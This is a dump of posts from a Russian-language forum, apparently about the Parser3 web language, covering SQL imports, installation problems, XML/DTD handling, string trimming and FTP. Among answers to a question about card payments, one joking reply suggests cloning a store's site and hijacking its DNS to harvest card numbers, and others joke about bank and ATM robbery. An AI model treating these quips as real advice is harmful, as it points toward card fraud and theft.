- create xml + transform - ~ 4 минуты, ~ 200 МБ\
- parser match - очень долго, расход памяти очень большой\
- perl match - ~ 1 минута, расход памяти очень небольшой. на этом и остановился, в результате получилось:\
\
1. file::load с удаленного сервера этого xml (zip в архиве)\
2. запуск перл скрипта, который распаковывает xml, проходится по нему матчем, получает на выходе 3 текстовых файла и запускает sql скрипт, в котором дропаются существующие таблички, создаются новые, потом 3 load infile и затем создаются индексы.\
\
когда речь заходит о ковырянии в огромнымх файлах, то тут в большинстве случаев даже не стОит пытаться это делать парсером, не для этого он :)"
"36661","Как вариант\
1. Загружаю документ. \
2. Преобразовываю документ xslt преобразованием в код парсера \
вида \
[code]\
^void:sql{insert into ...}\
^void:sql{insert into ....}\
^void:sql{insert into ....}\
[/code]\
3. Затем выполняю полученные строки c помощью [code] ^process{} [/code]\
\
В коде это выглядит так \
[code]\
$now[^date::now[]]\
^now.unix-timestamp[]\
$data[^xdoc::load[data.xml]]\
$transform[^data.transform[sql.xsl]]\
^process{\
^transform.string[\
$.method[text]\
]\
}\
$now[^date::now[]]\
^now.unix-timestamp[]\
[/code]"
"36663","%)\
Понаедут тут в Волгоград... %)"
"36664","Если это MySQL, не забываем, что есть insert delayed и insert ... values (..), (..), (..)\
И не надо никаких 800 запросов"
"36666","Взял для FreeBSD, установил, но код парсера виден на сайте и не обрабатывается...\
Вложенность папок на сайте такая:\
/имя_сайта.ru/\
   (здесь все страницы) \
    cgi-bin/"
"36668","Просьба к Misha v.3 пояснить почему в sql.p используется не нативный trim а из lib.p?\
Насколько я понимаю, в те времена просто не было встроенной функции в парсер, она была написана через regexp. \
Но сейчас же она есть?\
Ну и к PAFу вопрос - можно ли сделать что-то типа \
^string::trim[] ?"
"36669","Извините, оказывается вот:\
Unix / FreeBSD 4.8.\
А я устанавливал от LinuxRedHat...\
Но все равно не работает...\
вложенность такая - сначала папка / (с разными файлами начинающимися с точки),\
потом папка с именем сайта, в которой уже все находится...\
Так вот если определять корень веб-пространства и ставить файл .htaccess то где, в корневой папке, или в папке сайт.ru?\
\
Я уже час ничего не могу сделать, код парсера просто игнорируется, и выводится на странице....\
И даже ошибки от парсера не возникает, т.е. просто он не функционирует..."
"36671","я тоже использую свой собственный метод... причина в том что с нативным есть некоторая неопределённость и иногда он выдаёт ошибки, на тему пустой строки. \
\
и вызывать ^A.trim[] не очень удобно потому, что может A это совсем не строка, но сейчас я её хочу использовать как строку.\
\
может я в чём-то не разобрался, но... чем проще тем мне удобней."
"36672","Нужно вырезать из статьи первые 100 символов и разместить их на другой странице. Я сделал так, но выводится как есть, вместе с кодом форматирования статьи. Как это избежать?\
[code]\
$article[^file::load[text;index.html]]\
$str[$article.text]\
^str.mid(0;100)\
[/code]"
"36673","Тогда [code]$short[^str.mid(0;100)][/code]\
\
Если это для короткой версии новостей, то это не очень грамотный подход."
"36675","Как можно сделать прием платежей с кредитных карт с помощью парсера?"
"36676","Все сделал так как надо. На [url=\"http://www.llo.ru/\"]www.llo.ru[/url] все работает кроме (часть кода auto.p): [code]\
		<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\">\
			<tr>\
				<td></td>\
			</tr>\
		</table>\
$now[^date::now[]]\
		<font size=\"-3\">\
			<center>Powered by Parser3<br>1997-$now.year</center>\
		</font>\
	</body>\
</html>[/code]\
Я думаю, что ошибка в определении класса date. Или нет?\
\
Пожалуйста, помогите разобраться в чем причина."
"36678","в вашем же случае без regex не обойтись."
"36679","Parser считает, что он задачу выполнил.\
На [url=\"http://www.llo.ru\"]этой[/url] странице  внизу странице помимо фразы \"Здесь у нас контакты\" еще должно быть:\
\"Powered by Parser3\
1997-2005\" \
... чего увы, не наблюдается.\
\
Вот весь auto.p:\
[code]@main[]\
^header[]\
^body[]\
^footer[]\
\
# определение заголовка страниц ==========================================\
@header[]\
<html>\
	<head>\
		<title>Тестовый сайт Parser3</title>\
	</head>\
	<body bgcolor=\"#FAEBD7\">\
		<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
			<tr bgcolor=\"#FFFFFF\" height=\"60\">\
				<td align=\"middle\">\
					<font size=\"+2\"> <b>^greeting[]</b></font>\
				</td>\
			</tr>\
		</table>\
		<br>\
# ========================================================================\
\
# определение основной части страниц =====================================\
@body[]\
^navigation[]\
		<table width=\"100%\" height=\"65%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
			<tr bgcolor=\"#ffffff\" height=\"100%\">\
				<td width=\"30%\" valign=\"top\" bgcolor=\"#EFEFEF\">\
					<b>^body_additional[]</b>\
				</td>\
				<td width=\"70%\" valign=\"top\">\
					^body_main[]\
				</td>\
			</tr>\
		</table>\
		<br>\
\
@navigation[]\
$sections[^table::load[/parser_cfg/sections.cfg]]\
		<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
			<tr bgcolor=\"#FFFFFF\">\
				^sections.menu{\
					^navigation_cell[]\
				}\
			</tr>\
		</table>\
		<br>\
\
@navigation_cell[]\
$cell_width[^eval(100\\$sections)%]\
^if($sections.uri eq $request:uri){\
				<td width=\"$cell_width\" align=\"middle\" bgcolor=\"#999999\">\
					<nobr>$sections.name</nobr>\
				</td>\
}{\
				<td width=\"$cell_width\" align=\"middle\">\
					<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
				</td>\
}\
# ========================================================================\
\
# определение нижней части сраниц ========================================\
@footer[]\
		<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\">\
			<tr>\
				<td></td>\
			</tr>\
		</table>\
$now[^date::now[]]\
		<font size=\"-3\">\
			<center>Powered by Parser3<br>1997-$now.year</center>\
		</font>\
	</body>\
</html>\
# ========================================================================[/code]\
\
[i]Код собран из материала Урока 2.[/i]"
"36680","[quote]\
<br>\
Здесь у нас контакты\
[/quote]\
\
Где это в коде?"
"36681","точно так же как и с помощью любого другого языка :)\
[quote]\
Вопрос \"Как написать хорошую программу на С++?\" очень похож на вопрос \"Как пишется хорошая английская проза?\". На него есть два ответа: \"Нужно знать, что вы, собственно, хотите написать\" и \"Практика и подражание хорошему стилю\". Оба совета пригодны для С++ в той же мере, что и для английского языка, и обоим достаточно трудно следовать.\
[/quote]\
(с) Самизнаетекто"
"36682","index.html :\
\
[code]@greeting[]\
Добро пожаловать!\
\
@body_additional[]\
Главная страница тестового сайта\
\
@body_main[]\
Основное содержание\
\
@footer[]\
Здесь у нас контакты[/code]"
"36683","В главном auto.p вы определили один метод [b]footer[/b], а в index.html — [b]переопределили[/b], если футер на каждой странице должен быть одинаковый, тогда перенесите «Здесь у нас контакты» в auto.p, если с каждой странице будете вызывать разные строки, тогда можно сделать так:\
\
[b]@auto.p[/b]\
[code]\
@footer[]\
$footer_string\
...\
[/code]\
\
[b]index.html[/b]\
[code]\
@auto[]\
$footer_string[Здесь у нас контакты]\
...\
[/code]"
"36684","Я не очень понял о чем Вы хотели сказать в последнем ответе.\
Но теперь я по крайней мере получил, что что хотел.\
Я стер из index.html эти две строки:\
[code]@footer[]\
Здесь у нас контакты[/code]\
\
и... о, чудо! строка [b]Powered by Parser3\
1997-2005[/b] появилась!!! :)\
Постараюсь разобраться с Уроком №2.\
\
Еще раз благодарю."
"36685","Поставил в чистом виде класс авторизации. Новую версию. Скрипты для базы прогнал.\
\
undefined method\
table \
classes/auth.p - строка номер 1182\
\
Сделал вроде все честно, как написано у Миши в примерах. \
Получаю ошибку на _auth_setpwd.html после сабмита. \
\
помогите, плиз. \
\
Может это из-за того что я пользую 3.1.3?"
"36687","Взять к примеру amazon.com, там используется своя карта или могут использоваться другие? Если вдруг кто знает намекните хотя бы с чего начать."
"36688","Прикупить все, что необходимо. Дальше уже подумать о программировании.\
\
Или забить на все эти покупки, скопировать их сайт, похачить их NS подставив свой сайт и получить много номеров кредитных карточек."
"36689","можно купить \"ствол\" и зайти в банк за наличкой :)"
"36690",";))"
"36691","Есть ли функция в Parser'e, которая может вывести документ на печать (желательно часть документа)?"
"36692","Он для этого не предназначен, если нужно печатать с веба - это одно, а автоматически - см., например, MS word + VB script (или как там он называется)..."
"36693","Можно на яваскрипт\
<form onclick=\"window.print()\">\
<input type=\"submit\">\
</form>\
Но печатается весь док-мент : голова, менюшки, подвал....\
Пока я нашел один выход - сгенерить заново голую страницу с одной единственной таблицей, которую нужно печатать.."
"36694","Как вариант - можно использовать и CSS: определять те элементы которые для печати и те, которые только для экрана."
"36695","под Win32 все пошло...\
Решил поставить на FreeBSD :\
ЦГИ-скрипт в CGI-BIN..Туда же конфигурационный файл разорхивировал,в КОРНЕВОЙ положил .htaccess..И не фига..\
500 internal server error..\
Почему ,может такая хренотень произойти!?\
Может че не так...???"
"36696","+ проверяем содержимое .htaccess и версию парсера (версию и ОС для которой он собран)."
"36697","Возможно ли средствами Парсера взаимодейтсвовать вместе с Flash?\
Знаю что PHP это умеет, но переучитваться неохота, ДА И ВРЕМЕНИ НЕТ."
"36698","Думаю, что не только мне хотелось бы такой видеть. Понимаю, что времени на это нет, но все же - может хоть по крупицам собрать удастся?\
\
Например:\
\
В: Подключил класс sql.p, но при попытке использовать получаю примерно такую ошибку: undefined method run_time.\
О: Проверьте подключение [url=\"http://www.parser.ru/examples/lib/\"]lib.p[/url] (используются методы ^process[] и ^trim[])\
\
А вот что хотелось бы узнать мне лично:\
- как правильно организовывать БД для работы с auth.p?\
Как я понял, у всех объектов должны быть уникальные ID, и не очень понятно как этого достичь, если объекты хранятся в нескольких таблицах, и вследствие чего unique & co не помогут."
"36699","в связи с возросшим уровнем ламеризма в форуме вашему вниманию предлагается \"бальзам на душу\" - типа \"умный вопрос\" (шутка):\
\
сделал метод для загрузки файла с учётом возможных HTTP-редиректов (прим.для ламеров: JavaScript и META refresh редиректы не поддерживаются!):\
\
[code]\
###############################################################################################\
#  Грузит файл учитывая редиректы (301, 302, 303, 307)\
#\
@fileLoad[type;url][i;location]\
$i(0)\
$location[$url]\
^while((def $result && ($result.status == 301 || $result.status == 302 || $result.status == 303 || $result.status == 307)) || ($i < 10)){\
	^try{\
		$result[^file::load[$type;^taint[as-is][$location];\
			$.timeout(30)\
			$.any-status(1)\
		]]\
	}{\
		$exception.handled(1)\
	}\
	^if(def $result && $result.status == 200){\
		$i(10)\
	}{\
		^if(def $result){$location[$result.LOCATION]}\
		^i.inc[]\
	}\
}\
[/code]\
\
из достоинств метода можно отметить что он обрабатывает до 9 редиректов либо просто попыток загрузить файл.\
из недостатков - буду рад если ВЫ их назовёте :)\
\
после исправлений найденных недостатков можно было бы положить метод в местный репозитарий p-кода (в примеры)"
"36700","1.Папка с классами у меня опрделена, но если я хочу загрузить, например класс в файл /forum/index.html или /forum/auto.p Парсер ругается, говорит что нужен [b]/[/b]! Зачем? Помогите разобраться!\
\
2. Может сделаем FAQ по классу sql.p а то мало чего понятно.\
\
3. Что это за строка в классе форума?\
[code]\
^MAIN:pSQL.left_join[from;forum_message_body;forum.forum_message_id = forum_message_body.forum_message_id]\
[/code]"
"36701","Парсеру плевать, с чем взаимодействовать. :)\
Через XML, например :)"
"36702","что-то в духе:\
^while($continue){\
	^switch[$result.status]{\
		^case[301;302;303;307]{...}\
	}\
...\
}"
"36703","1. Указать [b]правильный[/b] относительный путь к классам.\
3. Почитать доку по MySQL, а конкретно про LEFT JOIN."
"36704","интересно, сабж на парсере сделан?"
"36705","Есть форма, практически вся состоит из полей <select> (на русском).\
Пользователь выбирает нужные <option> и его сообщение добавляется в бд (каждое <option> в отдельной колонке).\
Задача: автоматически перевести <option>\
Можно решить двумя способами - перевод на входе в бд и на выходе.\
Какой способ лучше?\
И еще вопрос.\
поля <option> генерируются из блокнота, сдедал для каждого <option> перевод в блокноте, потом через ^table.locate нахожу перевод. Стоит ли делать таблицу перевода в бд или так можно? Может быть кто-нибудь сталкивался с такими задачами?"
"36706","К сожалению приходится снова поднимать эту тему так как я не смог найти по форуму решения проблемы, хотя она уже не раз поднималась и обсуждалась.\
\
В двух словах. Проблема в том, что возникает ошибка post_size(0) != content_length(44) при попытке отправить данные из формуляра методом POST.\
\
Скажу сразу, что попробовал все эксперименты, которые предлагал PAF в ветке [url=\"http://www.parser.ru/forum/?id=16848\"]http://www.parser.ru/forum/?id=16848[/url]\
\
Сначала создал кусок кода на Перле, который принимает Post - все работает.\
Потом создал кусок кода на C, который предлагал PAF в вышеупомянутой ветке. \
\
Пришел к вывода, что если POST посылать на конкретный скрипт, например posttest.cgi, то все работает, если же этот скрипт переименовать в parser3.cgi и послать POST не конкретно на него, а \"через него\" на HTML файл, то данные теряются. Т.е получаю Length не равный нулю, но данных при этом нет. Т.е. при обработке через Handler данные теряются.\
\
Про эту ситуацию уже писали не так давно в форуме, но так никто конкретного ответа и не дал.\
\
Я понимаю, что надо \"давить\" на провайдера. И он как бы и не против помочь. Но говорит, что не знает в чем решение проблемы.\
\
Подскажите, на что обратить внимание провайдера. Что нужно править?"
"36708","См.: http://misha.design.ru/hobby/progr/engine.html"
"36709","Здравствуйте. Не могли бы вы подказать почему в упрощенном примере(не получается у меня подключить $MAIN:pSQL ругается на: undefined method\
inc\
z:/home/q/www/classes/sql.p(69)\
) если parent_id стоит отличный от 0 то дерево строится все равно такое же как и было. то есть я не могу построить деревце для одной ветки. не могли бы вы подсказать в чем может быть проблема? :( упростил не много создал 1 таблицу вместо 2 так как мне так удобнее было...\
\
[code]\
@getMessagesByParent[parent_id;limit]\
^connect[$connect_string]{$result[^table::sql{\
		SELECT\
			*\
		FROM\
			forum_message\
		WHERE\
			parent_id = ^parent_id.int(0) AND\
			is_published = 1\
		ORDER BY\
			dt_published DESC\
}[^if(^limit.int(0)){$.limit(^limit.int(0))}]]}\
\
@getMessagesByThread[thread]\
^connect[$connect_string]{$result[^table::sql{\
		SELECT\
			*\
		FROM\
			forum_message\
		WHERE\
			^if($thread is table){\
				^if($thread){thread_id IN (^thread.menu{$thread.thread_id}[,]) AND}\
			}{\
				thread_id = ^thread.int(0) AND\
			}\
			is_published = 1\
		ORDER BY\
			forum_message_id DESC\
}]}\
\
\
\
@printMessagesByParent[messages;parent_id][levelmessages]\
$levelmessages[^messages.select($messages.parent_id == $parent_id)]\
^levelmessages.menu{\
	^printTreeItem[$levelmessages.fields;^printMessagesByParent[$messages;$levelmessages.forum_message_id]]\
}\
\
\
@printTreeItem[message;body]\
$result[<li>$message.title ^if(!$message.is_not_empty){(-)},\
	$message.author [$message.dt_published]\
	^if(def $body){<ul>$body</ul>}\
</li>]\
\
\
\
\
\
@main[]\
# достаем не более 20 корневых сообщений (parent_id == 0)\
$rootMessages[^getMessagesByParent[0;20]]\
# достаем все сообщения в тредах, которые мы только что достали\
$messages[^getMessagesByThread[$rootMessages]]\
# собственно выводим все данные о сообщениях в виде дерева\
^printMessagesByParent[$messages;0]\
[/code]"
"36710","Бред, PDF страшный бич делающий невозможным нормальное чтение с экрана, это больше печатный формат."
"36711","[quot]undefined method\
inc\
z:/home/q/www/classes/sql.p(69)[/quot]\
открываем указанный файл, находим указанную строку, видим ^connects_count.inc(1). Остаётся только выяснить, при каких условиях данное выражение может возвращать подобную ошибку. С чего вы взяли что виноват приведённый вами код - непонятно."
"36712","по поводу проблемы - с чего вы взяли что \"объекты хранятся в нескольких таблицах\" ?"
"36714","Вместо того что вы написали пропишите вместо\
[code] ^connect[$connect_string][/code]\
строку [code] ^MAIN:pSQL.server {}\
[/code] и прочитайте \"О переносимости SQl запросов  в примерах\""
"36719","Взять ноутбук и кувалду. Подойти к банкомату, раздолбить его кувалдой, забрать деньги и ноутбук и сматываться. Возникает вопрос: зачем брать ноутбук? Ну какой же хакер без ноутбука."
"36721","это реальность нашей бд..."
"36725","Вопрос по методу mid\
Если P=N то берется все до конца строки?\
Как тогда выделить одну букву из слова?"
"36731","http://www.parser.ru/forum/?id=17421"
"36735","[b]Проблема 1.[/b] У меня есть код, который выводит таблицу и между каждой ставит <br><br>:\
\
[code]\
$items[^MAIN:pSQL.sql[table]{\
	select id, title ...\
	from items\
	where ...\
	order by id desc\
}[\
	$.offset($pages.offset)\
	$.limit($pages.limit)\
]]\
^items.menu{\
<table border=\"0\">\
<tr>\
<td>\
<font color=\"#000000\">$items.title</font>\
</td>\
</tr>\
</table>\
}[<br><br>]\
[/code]\
\
Как можно сделать вывод данных, чтобы не между каждой, а в промежутке двух таблиц ставилось <br><br>?\
\
[i]Пример:[/i]\
\
<table border=\"0\">\
...\
</table>\
<table border=\"0\">\
...\
</table>\
\
[color=\"#ff0000\"]<br><br>[/color]\
\
<table border=\"0\">\
...\
</table>\
<table border=\"0\">\
...\
</table>\
\
[b]Проблема 2.[/b] В том же самом коде, но изменения должны затронуть строку <font color=\"#000000\">$items.title</font>. Нужно чтобы цвет в теге <font> менялся.\
\
[i]Пример:[/i]\
\
...\
<font [color=\"#ff0000\"]color=\"#000000\"[/color]>$items.title</font>\
...\
...\
<font [color=\"#ff0000\"]color=\"#EEEEEE\"[/color]>$items.title</font>\
...\
...\
<font [color=\"#ff0000\"]color=\"#000000\"[/color]>$items.title</font>\
...\
...\
<font [color=\"#ff0000\"]color=\"#EEEEEE\"[/color]>$items.title</font>\
...\
\
Есть идея связать это как-нибудь с порядковым номер записи, чётные допустим - #000000, а нечётные - #EEEEEE. Но как это организовать не могу придумать.\
\
Заранее благодарен."
"36736","Для начала, <br><br> не самый лучший способ раздвинуть таблицы\
style=\"margin-bottom: 30px\" сделает то же, но лучше.\
По обоим вашим вопросам есть решение в примерах lib.p, по первому правда придётся немножко додумать."
"36738","Насчёт <br><br> - это только для примера.\
[code]@color[color1;color2][/code] - как же я не додумался в примерах полазить! ;-)\
Спасибо за помощь."
"36739","А как тогда использовать @color[...]? Я добавил в тег <font> строку ^color[#000000;#EEEEEE]. И в результате получаю вместо #000000 или #EEEEEE просто <font color=\"\">."
"36740","менюшка… не видна."
"36742","костя, помню, ты говорил, что провайдер решил в подобном случае.\
но, как понял, провайдер тогда сам не разобрался, где проблема?\
\
2dmpf: попробуйте делать параллельно: спросите у провайдера для начала, нет ли у него нескольких разных машин, и попросите ваш hosting перенести \"просто на другую машину\".\
\
при этом не слушайте провайдера, который скажет вам, что все машины идентичны. как мы помним из случая лужниковского, бывает что и не индентичны, и провайдер сам не знает разницы."
"36743","Есть версия на C# и Java.\
\
Визуально почти не отличить."
"36744","Пока нет, есть файлы txt, в них таблицы <option> на рус и на англ.\
Вот у меня и возникло несколко вопросов:\
как лучше хранить (в базе или оставить в txt)\
и как лучше переводить (на входе в бд и на выходе)\
по <option> я сделал на входе, вроде бы работает нормально,\
только там еще куча проблем всплыло с переводом карточек компаний и т.д. :-)"
"36745","Тогда меня просто перенесли на другую машину. Причем дали две на выбор: на первой были баги (помнишь, пытались собрать статически?), а на второй все взлетело без проблем (парсер с сайта).\
\
Ошибку с POST они таки поправили, но, похоже, сами не поняли как. Ибо когда оная пропала, на вопрос \"так где же она была?\" ответ был - \"фиг знает. просто пересобрали апач\""
"36746","этот вопрос отпадёт сам собой, вы просто положите в базу id выбранной option."
"36747","И, в двух словах, почему?"
"36748","я думаю что принципиальной разницы нет, главное чтобы работало.\
C# и Java приблизительно одного полёта языки программирования.\
\
Лично мне больше нравится C#, мне кажется Java более хмурый язык.\
\
Ну и тем более, что порт на C# делал я :-)"
"36749",":) мне, кстати, тоже C# больше нравится). Да он и развивается как-то быстрее, чем Java. ИМХО, перспектив у C# больше."
"36750","Значит, жизнь продолжается :) !"
"36751","Есть база данных, которая хранит имена файлов картинок полность. Выбираю из нее имя ($tab.name) и хочу увидит фото (точнее мне само фото не нужно мне его размеры интересны).\
\
Фото хранятся в разных папках ($photo.id)\
\
Например получилость так что нужна картика из 17 папки с именем IMG_1175.JPG\
\
$photo.id(17)\
$tab.name[IMG_1175.JPG]\
\
\
$photo[^image::measure[$photo.id/$tab.name]]\
^photo.html[]\
\
Выдает ощибку:\
\
measure failed: No such file or directory (2), actual filename ....../17/IMG_1171.JPG ' [file.missing] \
\
Но картинка-то есть легко выводится при помощи \
\
<img src=\"./$photo.id/$tab.name\" >\
\
Если подставить имя файла и папки в \
$photo[^image::measure[17/IMG_1171.JPG]]\
^photo.html[]\
\
работает как часы\
\
В чем может быть проблема?"
"36752","проблема обсуждалась неоднократно."
"36753","Добрый вечер,\
\
ниже приведены два документа: index.xml и auto.p. Оба лежат в корне веб-пространства. Хост настроен так, что Parser обрабатывает xml-и.\
\
Вызов index.xml приводит к следующей ошибке:\
=============================================\
I/O warning : failed to load external entity \"types.dtd\"\
<!DOCTYPE page SYSTEM \"types.dtd\">\
^\
\
\
Проблема решается так:\
==================================\
<!DOCTYPE page SYSTEM \"http://$env:HTTP_HOST/types.dtd\">\
\
а я полагал, что и так должно работать ;-)\
либо, что поможет следующее:\
=======================\
$document[^xdoc::create[http://$env:HTTP_HOST/]{$body}]\
\
Я полагал, что парсер будет искать DTD, начиная с корня веб-пространства.\
?\
\
Спасибо. С уважением,\
\
Владимир\
\
\
index.xml\
====================\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<?xml-stylesheet type='text/xsl' href='site.xsl'?>\
<!DOCTYPE page SYSTEM \"types.dtd\">\
<page>\
    <info></info>\
    <nav_site></nav_site>\
    <nav_section></nav_section>\
</page>\
\
\
auto.p\
=====================\
@postprocess[body]\
^try{\
        $document[^xdoc::create{$body}]\
        $transformed[^document.transform[site.xsl]]\
        ^transformed.string[$.method[xml]]\
}{\
        ^if($exception.type eq xml){\
                $exception.handled(1)\
                <pre>$exception.comment</pre>\
        }\
}\
\
Документ валидный -- на всякий случай DTD:\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<!ELEMENT page (info, nav_site, nav_section, nav_portfolio?, content?)>\
<!ELEMENT info ANY>\
<!ELEMENT nav_site ANY>\
<!ELEMENT nav_section ANY>\
<!ELEMENT nav_portfolio ANY>\
<!ELEMENT content ANY>"
"36754","Да искал... такое ощущение, что у всех работает. Проблема всегда в другом. \
Может конечно я не то искал. Может подскажите где?"
"36757","Забавно. Копировал из истории поиска, но действительно больше не находится :-)\
\
Вот это тред, например:\
http://www.parser.ru/forum/?id=35337"
"36758","Возможно ли установить Parser как DSO модуль для Apache2?"
"36759","Скачал MySQL 5.0 под винды. Поставил.\
Вроде как работает.\
Вопрос следующий: можно ли к нему подключаться через MySQL-Front?\
у меня что-то не получается :((\
и как с ним работает парсер - адексатно или не очень? это я ещё не проверял"
"36760","Наверное я что-то серьезно не догоняю...\
\
Что сделано и где, и как то связано с тем что не работает у меня. Хотя бы где и что сделанно?\
\
Хостин у меня тоде Arbatek.ru"
"36761","[code]/17/IMG_1171.JPG '[/code]\
\
думаем, откуда они."
"36763","Яндекс при поиске показывает дату изменения найденной страницы, и вот думаю - это нужно теперь код на Парсере написать, чтоб он эти даты выводил, или это зависит от хостинга?"
"36764","Подробнее: http://www.parser.ru/forum/?id=36486"
"36765","parser.log:\
\
'trim' string method not found [parser.runtime]\
\
\
его что нужн специально подгружать как-то?\
в описании про это ничего не сказано. у меня 3-й Прасер."
"36767","Теперь\
\
$link[$photo.id/$tab.name]\
\"$link\"\
\"^link.trim[]\"\
\
Выдодит\
\
\"19/wed_s005.JPG \" \
\"19/wed_s005.JPG \"\
\
То ли я что-то не понимаю, то ли мысли кончились....."
"36768","Если на конце не пробел то что это? - задался я вопросом.\
\
вставил в код\
\
^taint[uri][$tab.name]\
\
и оказалось что на конце нечто типа \
\
\"wed_s005.JPG[b]%0D[b]\""
"36770","самым изящным представляется подход с заданием baseURI, как вы правильно думали.\
\
только вместо указания http:// протокола, эффективнее будет указать дисковый путь:\
\
[code]\
$document[^xdoc::create[$request:document-root]{$body}]\
[/code]\
\
могу ещё добавить, что на этом пути есть засада:\
если в index.xml будет код вида\
[code]\
<element attribute='$form:param'/>\
[/code]\
а к странице придёт запрос вида\
http://server/page.xml?param=1'2\
\
с апострофом, то parser не заменит ' на &apos;, и ваш xml не пройдёт компиляцию в xdoc::create.\
\
поэтому имеет смысл добавить \
[code]\
^xdoc::create{^untaint[xml]{$body}}\
[/code]"
"36771","есть ли какие-то конкретные данные про скорость работы parser -> ODBC -> MSSQL\
возникла необходимость проект такой сделать, надо графики рисовать из бд."
"36772","$request:document-root срабатывает, будучи вставлен в объявление DOCTYPE, а в xdoc::create -- нет. С тем же сообщением о невозможности найти DTD. Я не написал сразу, чтобы не загромождать.\
\
У меня задача в том, чтобы код parser-а не использовался внутри xml и xslt, по разным соображениям. Поэтому напрягает, что приходится вставлять переменную в DOCTYPE. Судя по всем описаниям, этого вполне можно избежать.\
\
Я так понимаю, происходит следующее. Методу postprocess передаётся тело обрабатываемого документа, т.е. моего xml-я. Далее, создаём объект xdoc. Внутри в доктайпе стоит DTD без явного указания пути. Стало быть,\
1) parser смотрит, каков базовый путь, и не лежит ли там в корне нужный документ.\
Если не получилось, то\
2) parser ищет там, где лежит обрабатываемый документ.\
\
В моём примере места из 1 и 2 физически суть одно, но не это важно. Важно, что не работает, и не помогает задание пути конструктору ни в какой форме, а помогает задание пути (прямо перенос того же кода) в DOCTYPE.\
\
Где я ошибаюсь?"
"36776","к сожалению. и этот самый base URI проставляется уже после собственно создания документа.\
\
если кто придумает, как это грамотно сделать, приму \"patch -u\".\
\
workaround: \
\
сейчас ваш .xml файл сначала вовсю читается parser'ом, потом обрабатывается, и только потом управление попадает в @postprocess.\
\
это медленно\
[комплится и выполняется @main] \
и неправильно\
[поскольку в коде .xml может попасться $something, которое пропадёт и до postprocess не дойдёт. а то и вообще какая-нибудь parser syntax error случится].\
\
правильно так: сделать rewite правило, по которому запросы к файлам вида .xml будут попадать в /transform.html?xml=/some/file.xml\
\
где вы(предварительно проверив $form:xml на разумность) сделаете обычный ^xdoc::load и не будете знать горя."
"36777","Понятно. Большое спасибо.\
\
Я, собственно, сделал уже один проект, в котором parser обрабатывал html-и. А в html-ях сих стояли практически такие же строки, что в приведённом выше auto.p :-) И тут в документации увидел postprocess, попробовал -- не получилось :-)\
\
В задаче так всё организовано, что внутри xml-ей заведомо нет никакого parser-ного кода. Проверки на корректность и действительность выполняются на другом уровне.\
\
Насчёт rewrite -- это хорошая мысль, спасибо. Я не очень разбираюсь в апаче, какие там оверхеды на эти rewrite-ы и где, и т.п., тут у меня пробел...\
\
Насчёт патча -- подумаю, ибо актуально..."
"36778","А возможно ли приконнектиться и залогиниться на другой FTP сервер(например ftp.narod.ru =)) и залить на него файл?\
\
Такие комманды в PHP выглядят так:\
ftp_connect() - коннект\
ftp_login() - логин\
ftp_get() - слить файл с FTP\
ftp_site(int ftp_connect, string command) - посылает SITE комманды\
ftp_quit() - дисконнект\
\
А как на парсере?"
"36780","ну да ладно, сделаю как получается а потом может что новое в голову придет."
"36784","совершенно несравним с parser overhead.\
я не измерял первый, но последний при хорошем коде на неплохой машине всё равно не меньше 100ms.\
\
поэтому: выбросьте rewrite overhead из головы."
"36785","в проектах студии такой задачи не стояло.\
а даже если бы встала, мы бы пошли по стандартному в мире unix пути: запустили бы по ^file::execвнешнюю программку, которая умеет это делать."
"36787","ваш код? или вражеский?"
"36791","Это Ваше \"что-то\" сильно смахивает на возврат каретки."
"36792","http://lftp.yar.ru/ туда супер прога. Если конечно разберёшься. Да и места занимает немеренно. Вот бы другую прогу........ Или в парсер был бы Ftp вот было бы круто!"
"36793","мы в Студии пользуем lftp для ряда обновлений.\
\
можем поделиться печальным опытом: при некоторых проблемах с удалённым сервером директива lftp timeout на платформе win32 не срабатывает.\
\
в итоге задача подвисает, ничего реально не делая.\
во встроенном win32 механизме task scheduling есть возможность задать timeout на запускаемую задачу, т.е., если задача работает дольше разумного времени, её принудительно завершать.\
\
причём если используется запуск из одной программы другой, скажем, lftp запускается из .cmd/bat (из cmd.exe), то принудительно завершается только первая задача, lftp остаётся висеть.\
\
поэтому надо запускать сразу lftp с нужными параметрами. если он подвиснет, система сама его уьёт."
"36794","Пытаюсь понять назначение полей. Пока не смог. Если в коде нет ошибок, то получается что под именем [b]update[/b] данные заносятся в базу, под именем [b]field[/b] фигурируют в полях формы, а вытаскиваются из базы под именем [b]select[/b], еще и AS [b]field[/b]. Можно немного пояснений?"
"36795","ленивый я стал, забил на табличку auser_detail где раньше хранил дополнительные параметры пользователей, теперь просто добавляю необходимые поля к таблице auser.\
\
и чтобы не приходилось из-за этого перекрывать сразу пачку методов я сделал это.\
\
например добавил полей: фамилия, имя, отчество, год рождения и фотография, \
соотв. при инициализации передаю таблицу:\
[code]\
$.additional_fields[^table::create{select	update	field\
last_name	last_name	last_name\
first_name	first_name	first_name\
middle_name	middle_name	middle_name\
YEAR(dt_birth)		dt_birth\
photo}]\
]]\
[/code]\
\
после инициализации все эти поля будут доступны в хеше $user\
select - то что подставится в запрос SELECT\
field - подставляется в AS если в select функция (см выше пример)\
update - то что будет обновлятся при insertUser/updateUser.\
	если не описано - не обновляется автоматически, но у нас еще есть postInsert/postUpdate\
	где все можно поправить, для года рождения у меня там делается отдельный update с проверками\
	и формированием года в правильном sql формате."
"36799","недостаточно.\
\
ведь нужна дата изменения документа, а вовсе не дата генерации страницы или любая относительно неё.\
\
дату последнего изменения нужно взять где-то и выдать в этом заголовке.\
\
если хотите делать по-хорошему, также задайте с разумным значением заголовок expires."
"36800","[code]у меня почему то weekday sunday 0 а не семь?\
$curweek[^date:calendar[rus]($now.year;$now.month;$now.day)]\
^curweek.menu{\
$curweek.weekday \
}\
[/code]\
\
возвращает \
	[color=\"#ff0000\"]01 02 03 04 05 06 00 [/color]"
"36802","в доке опечатка. исправим доку, спасибо."
"36804","Уважаемые форумчане, кто-нибудь сталкивался с этим зверем?\
\
Я заметил в логах одного своего сайта два захода этой штуки в течение недели. Сайт состоит из 20 страничек, а этот чумовой индексатор сделал к нему суммарно более 4 тыс. запросов.\
